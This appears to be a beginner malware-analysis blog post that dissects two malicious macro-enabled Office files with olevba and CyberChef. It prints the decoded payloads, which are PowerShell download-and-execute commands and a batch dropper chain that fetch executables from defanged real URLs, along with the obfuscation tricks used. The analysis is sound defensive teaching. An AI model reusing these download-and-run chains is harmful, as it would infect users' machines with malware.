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<html lang="en">
<head>
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Analyzing Macro enabled Office Documents
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<p>
Experience Level required: beginner
</p>
<h1 id="objectives">
Objectives
</h1>
<p>
In this blog we will Learn how to analyze MS Office Macro enabled Documents.
</p>
<figure class="highlight">
<pre><code class="language-text" data-lang="text">1st sample:
8d15fadf25887c2c974e521914bb7cba762a8f03b1c97a2bc8198e9fb94d45a5
2nd sample:
a9f8b7b65e972545591683213bb198c1767424423ecc8269833f6e784aa8bc99</code></pre>
</figure>
<h1 id="1st-sample">
1st Sample
</h1>
<p>
Let’s see the sample in Virus Total
</p>
<p>
<img alt="" src="/images/msofficemacros/image2.jpg"/>
</p>
<p>
37 of 63 security vendors detected this file as malicious.
</p>
<p>
Let’s open the file.
</p>
<p>
<img alt="" src="/images/msofficemacros/image1.jpg"/>
</p>
<p>
It uses a social engineering technique to persuade the user to enable the macros that lead to the infection of the user.
</p>
<p>
Let’s see the macro code of the sample, I’ll use olevba
</p>
<figure class="highlight">
<pre><code class="language-text" data-lang="text">olevba "C:\Users\M4lcode\Desktop\xlm sample\8d15fadf25887c2c974e521914bb7cba762a8f03b1c97a2bc8198e9fb94d45a5.xlsm"</code></pre>
</figure>
<p>
<img alt="" src="/images/msofficemacros/image3.jpg"/>
</p>
<p>
It has many suspicious functions, It also has base64 strings
</p>
<p>
<img alt="" src="/images/msofficemacros/image7.jpg"/>
</p>
<p>
Let’s dump the macro code to a file to see it better
</p>
<figure class="highlight">
<pre><code class="language-text" data-lang="text">olevba -c "C:\Users\M4lcode\Desktop\xlm sample\8d15fadf25887c2c974e521914bb7cba762a8f03b1c97a2bc8198e9fb94d45a5.xlsm" > dump.vba</code></pre>
</figure>
<p>
Let’s view the dumped file with notepad ++ (you can view it with any text editor software)
</p>
<p>
<img alt="" src="/images/msofficemacros/image4.jpg"/>
</p>
<p>
This function concatenates two strings, then reverses the result string and assigns it to
<strong>
Prefix3
</strong>
.
</p>
<p>
<img alt="" src="/images/msofficemacros/image5.jpg"/>
</p>
<p>
I’ll use this python script to reverse the string
</p>
<figure class="highlight">
<pre><code class="language-text" data-lang="text">def reverse_string(input_string):
return input_string[::-1]
input_string = "cne- 1 niw- exe.llehsrewop\\0.1v\\llehSrewoPswodniW\\23metsyS\\swodniW\:C"
reversed_string = reverse_string(input_string)
print("Original string:", input_string)
print("Reversed string:", reversed_string)</code></pre>
</figure>
<p>
<img alt="" src="/images/msofficemacros/image6.jpg"/>
</p>
<p>
<strong>
Prefix3
</strong>
=
</p>
<figure class="highlight">
<pre><code class="language-text" data-lang="text">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc</code></pre>
</figure>
<p>
Let’s go to the next function
</p>
<p>
The function concatenates 8 base64 encoded strings and assigns it to
<strong>
Prefix2
</strong>
.
</p>
<p>
<img alt="" src="/images/msofficemacros/image8.jpg"/>
</p>
<p>
I’ll use cyberchef to decode the strings
</p>
<p>
<img alt="" src="/images/msofficemacros/image9.jpg"/>
</p>
<p>
<strong>
Prefix2
</strong>
=
</p>
<figure class="highlight">
<pre><code class="language-text" data-lang="text">$ProcName = "Ktaqftbffhqhoxzyblssi.exe";
(New-Object System.Net.WebClient).DownloadFile("hxxps[://]www[.]qqqformula[.]co[.]za/works/RICH[.]pif","$env:APPDATA\$ProcName");
Start-Process ("$env:APPDATA\$ProcName")</code></pre>
</figure>
<p>
Let’s go to the next function
</p>
<p>
<img alt="" src="/images/msofficemacros/image10.jpg"/>
</p>
<p>
It concatenates strings
</p>
<p>
<strong>
Prefix1
</strong>
=
</p>
<figure class="highlight">
<pre><code class="language-text" data-lang="text">start /MIN</code></pre>
</figure>
<p>
Let’s go to the last function
</p>
<p>
<img alt="" src="/images/msofficemacros/image11.jpg"/>
</p>
<p>
It concatenates
<strong>
Prefix1
</strong>
,
<strong>
Prefix3
</strong>
and
<strong>
Prefix2
</strong>
and print the result in a .bat file named “Bixkcozkkemqyslgmpvwuri.bat” then it runs the file
</p>
<p>
The resulted .bat file will be:
</p>
<figure class="highlight">
<pre><code class="language-text" data-lang="text">start /MIN C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - win 1 - enc $ProcName = "Ktaqftbffhqhoxzyblssi.exe";
(New - Object System.Net.WebClient).DownloadFile("hxxps[://]www[.]qqqformula[.]co[.]za/works/RICH[.]pif", "$env:APPDATA\$ProcName");
Start - Process ("$env:APPDATA\$ProcName")</code></pre>
</figure>
<p>
This script runs powershell script to download file from “hxxps[://]www[.]qqqformula[.]co[.]za/works/RICH[.]pif” to the current user’s AppData directory with name “Ktaqftbffhqhoxzyblssi.exe” and executes it.
</p>
<h1 id="2nd-sample">
2nd Sample
</h1>
<p>
32 of 60 security vendors detected this file as malicious.
</p>
<p>
<img alt="" src="/images/msofficemacros/image12.jpg"/>
</p>
<p>
Let’s open the sample
</p>
<p>
<img alt="" src="/images/msofficemacros/image13.jpg"/>
</p>
<p>
It also employs a social engineering technique to convince the user to enable macros, which then leads to the user being infected.
</p>
<p>
Let’s see its macro code
</p>
<figure class="highlight">
<pre><code class="language-text" data-lang="text">olevba C:\Users\M4lcode\Desktop\ee6d2f06ce4476370cb830acb3890dca.xls</code></pre>
</figure>
<p>
<img alt="" src="/images/msofficemacros/image14.jpg"/>
</p>
<p>
It uses
<strong>
wscript
</strong>
language and base64 encoding
</p>
<p>
Let’s dump it to file
</p>
<figure class="highlight">
<pre><code class="language-text" data-lang="text">olevba -c C:\Users\M4lcode\Desktop\ee6d2f06ce4476370cb830acb3890dca.xls > dump.vba</code></pre>
</figure>
<p>
<img alt="" src="/images/msofficemacros/image15.jpg"/>
</p>
<p>
Let’s try to decode this strings
</p>
<p>
<img alt="" src="/images/msofficemacros/image16.jpg"/>
</p>
<figure class="highlight">
<pre><code class="language-ps1" data-lang="ps1">$fdsfsdf = "fsfdghfddfgh";
(NEw-objEct `N`e`T`.`W`e`B`C`l`i`e`N`T`).DownLoAdfIlE('hxxp[://]suyashcollegeofnursing[.]com/language/Don163/CryptedFile163[.]exe', "$ENv:temp\jfcbvept.exe");
Start "$ENv:temp\jfcbvept.exe";
\$fdsfsdf = "fsfdghfddfgh";</code></pre>
</figure>
<p>
This powershell script is downloading a file from “hxxp[://]suyashcollegeofnursing[.]com” to
<strong>
temp
</strong>
directory with name “jfcbvept.exe” then it starts it
</p>
<p>
CreateObject(“Wscript.Shell”) return is assigned to
<strong>
zKShMevSa
</strong>
</p>
<p>
<img alt="" src="/images/msofficemacros/image17.jpg"/>
</p>
<p>
So
<strong>
zKShMevSa
</strong>
acts like
<strong>
Wscript.Shell
</strong>
and
<strong>
zKShMevSa
</strong>
.Run = Wscript.Shell.Run.
</p>
<p>
It’s clear now
<strong>
Wscript.Shell.Run
</strong>
executes the powershell script that downloads the malware from “hxxp[://]suyashcollegeofnursing[.]com” to
<strong>
temp
</strong>
directory with name “jfcbvept.exe” then it executes it.
</p>
<p>
This blog is authored by
<strong>
Mostafa Farghaly(M4lcode)
</strong>
.
</p>
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